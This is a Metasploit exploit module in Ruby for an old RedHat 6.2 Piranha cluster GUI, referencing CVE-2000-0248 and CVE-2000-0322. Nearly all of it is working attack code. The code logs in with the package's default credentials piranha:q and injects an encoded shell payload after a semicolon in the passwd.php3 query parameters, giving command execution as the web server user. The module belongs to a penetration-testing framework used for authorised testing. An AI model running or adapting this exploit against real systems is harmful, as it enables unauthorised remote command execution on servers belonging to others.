metasploit-framework/modules/exploits/linux/http/piranha_passwd_exec.rb

104 lines
3.5 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
HttpFingerprint = { :pattern => [ /Apache/ ] }
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'RedHat Piranha Virtual Server Package passwd.php3 Arbitrary Command Execution',
'Description' => %q{
This module abuses two flaws - a metacharacter injection vulnerability in the
HTTP management server of RedHat 6.2 systems running the Piranha
LVS cluster service and GUI (rpm packages: piranha and piranha-gui).
The vulnerability allows an authenticated attacker to execute arbitrary
commands as the Apache user account (nobody) within the
/piranha/secure/passwd.php3 script. The package installs with a default
user and password of piranha:q which was exploited in the wild.
},
'Author' => [ 'patrick' ],
'License' => MSF_LICENSE,
'References' =>
[
# Default password
[ 'CVE', '2000-0248' ],
[ 'OSVDB', '289' ],
[ 'BID', '1148' ],
# Command Execution
[ 'CVE', '2000-0322' ],
[ 'OSVDB', '1300' ],
[ 'BID', '1149' ]
],
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Privileged' => false,
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
'BadChars' => "\x22\x27", # magic_quotes_gpc
# NOTE: We specify our own custom-ish encoder here.
# This is due to lots of incompatabilities with the old RedHat 6.2 test system.
# 1. inetd exists, but the syntax is no good.
# 2. telnet exists
# 3. /dev/tcp doesn't work.
# 4. PHP's magic_quotes_gpc is on by default, causing escaping of single/double quotes.
# 5. echo -ne doesn't work
'EncoderType' => Msf::Encoder::Type::PrintfPHPMagicQuotes,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl'
}
},
'Targets' =>
[
[ 'Automatic (piranha-gui-0.4.12-1.i386.rpm)', { } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 04 2000'))
register_options(
[
OptString.new('USERNAME', [true, 'The HTTP username to specify for basic authentication', 'piranha']),
OptString.new('PASSWORD', [true, 'The HTTP password to specify for basic authentication', 'q'])
], self.class)
end
def exploit
cmd = Rex::Text.uri_encode(payload.encoded, 'hex-normal')
str = "/piranha/secure/passwd.php3?try1=q+;#{cmd}&try2=q+;#{cmd}&passwd=ACCEPT"
print_status("Sending GET request with encoded command line...")
res = send_request_raw({
'uri' => str,
'method' => 'GET',
'headers' =>
{
'content-type' => 'application/x-www-form-urlencoded',
},
}, 3)
if not res
print_error("Invalid response, not likely to be vulnerable")
return
end
if res.code == 401
print_error("401 Authorization Required! Our Credentials not accepted!")
elsif (res.code == 200 and res.body =~ /The passwords you supplied match/)
print_status("Command successfully executed (according to the server).")
end
end
end